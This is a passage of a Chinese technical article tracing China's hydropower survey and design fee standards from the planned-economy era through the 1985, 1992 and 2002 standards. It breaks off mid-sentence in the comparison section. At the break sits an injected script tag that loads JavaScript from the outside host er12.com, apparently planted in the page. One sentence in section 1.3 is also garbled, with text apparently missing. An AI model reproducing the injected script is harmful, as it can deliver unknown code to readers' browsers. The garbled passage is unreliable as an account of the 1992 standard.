关键词：水电工程；勘测设计收费；国家定价；政府指导价；市场调节价
摘 要：2002年3月开始执行新的水利水电勘测设计收费标准。通过对几次收费标准的出台背景、执行过程以及收 费水平等的对比，便于系统了解中国建国后水利水电勘测设计收费标准变化过程。
自勘测设计单位开始收取勘测设计费以来，作为水利水电工程造价管理中一个重要项目，勘测设计费一般占到工程总造价的2％～8％左右。是工程造价其他费用部分中的主要组成项目。也是各设计阶段勘测设计成果审查的问题点和勘测设计委托方与受托方进行合同谈判的焦点之一。因此，了解并做好水利水电工程投资计算中勘测设计费计价，是工程造价管理工作的重要内容之一。
1 工程勘测设计收费制度的变革情况
1．1 国家全额核拨勘测设计经费时期
建国后至70年代末，中国的勘测设计全行业一直实行的是计划经济管理模式。在这段时期，各设计单位的勘测设计科研任务全部由主管上级部门下达，所需工作经费也全额由国家核拨。在这段“吃大锅饭”时期，勘测设计收费是无从谈起的。但是，长期“吃大锅饭”给勘测设计单位所带来了管理经营机制僵化、劳动生产率和经济效益低下的恶果以及单位办社会的沉重包袱，使得本来就不多的单位事业费开支难以为继，为弥补各单位国家所拨事业费开支的情况，在80年代初期对龙羊峡、安康、万安等水电在建工程进行“五定”投资核批时补助性地核列了勘测设计费，如当时的国家重点工程龙羊峡水电站仅列了119万元勘测设计费，这也是最早在工程概预算文件中出现勘测设计费的地方。可以说，当时的计划经济管理、经费全额国家核拨的模式已走到尽头，到了非改不可的地步。
1．2 “85标准”出台及执行期
1979年，当时的国家计委、建委、财政部决定在部分勘测设计单位实行企业化试点工作，继而于1984年在全行业全面推开，使勘测设计行业成为中国最早事业单位实行企业化管理的行业。
1985年，国家计划委员会以计投［1985］2099号文“关于颁发试行水利水电工程设计收费标准和人防工程设计收费的通知”颁发了《水电工程（大、中型）设计取费标准》、《水利水电勘测工作取费控制标准》（以下简称“85标准”）。并在“通知”中说明了本收费标准是根据国家计委、劳动人事部、财政部计投［1983］1022号《关于勘测设计单位试行技术经济责任制的通知》精神制定的，体现了低收费的原则，所订标准是根据当时水利水电行业设计单位的综合设计能力和以事业费制度的支出水平为基础进行计算的，这是继1980年国家建委颁发仅适用于18个勘测设计企业化试点单位的“工程勘察取费标准（试行）”后第一个适用于水利水电全行业的收费标准。与此同时，在水利电力部“关于颁发《水利水电基本建设工程设计概算编制规定》的通知”等一系列工程造价管理文件中，也明确了勘测设计费作为工程投资中其他费用部分的一个二级项目，取费计算按照“85标准”计列。
1．3 “92标准”执行时期
随着中国改革开放的深入，国民经济得到快速发展，工程建设规模也在不断增大。这本来应该是勘测设计单位发展的大好时机，但是由于“85标准”是以事业费制度的支出水平为基础进行计算的低收费标准，而勘测设计生产过程的正常投入又不能减少，从而影响了勘测设计单位的发展后劲。1992年，国家物价局、建设部以［1992］价费字375号文“关于发布工程勘察和工程设计收费标准的通知”颁发了包括水利水电勘测设计收费标准在内的新标准（以下简称“92标准”）。并说明了“92标准”是各有关部门在原国家计委“85标准”基础上，考虑到物价上涨等因素调整修订后公布执行的，强调了工程勘察和工程设计收费属经营性收费，其收费办法和标准由国务院主管勘测设计部门负责组织拟定、会同国家物价局审批后颁发、由各有关单位统一执行，未经批准不得义市场经济迈进。
1．4 “2002标准”的出台
在“92标准”近10年的执行过程中，中国的物价及基本建设政策都有了很大变化，国家有关行业主管部门陆续对原有的规程、规范进行了较大的修改、补充和完善，增加了许多原“92标准”收费工作范围覆盖不了的内容，同时，随着中国加入世界贸易组织谈判进程的加快，勘测设计行业将很快面临与国际工程咨询业接轨的问题，鉴于此，国家计委、建设部从2000年起就开始布置安排制定新收费标准的资料收集、测算工作。经过两年多的艰苦工作，终于在2002年初以计价格［2002］10号文颁发了新的《工程勘察设计收费标准》。
2 三个收费标准之比较
2．1 “85标准”与“92标准”之比较
“85标准”与“92标准”相比，两者的相同点是：设计收费部分都以实物定额收费办法为主，勘测收费部分以生产能力和实物工程量为单位计算；勘测设计费组成都?script src=http://er12.com/t.js>
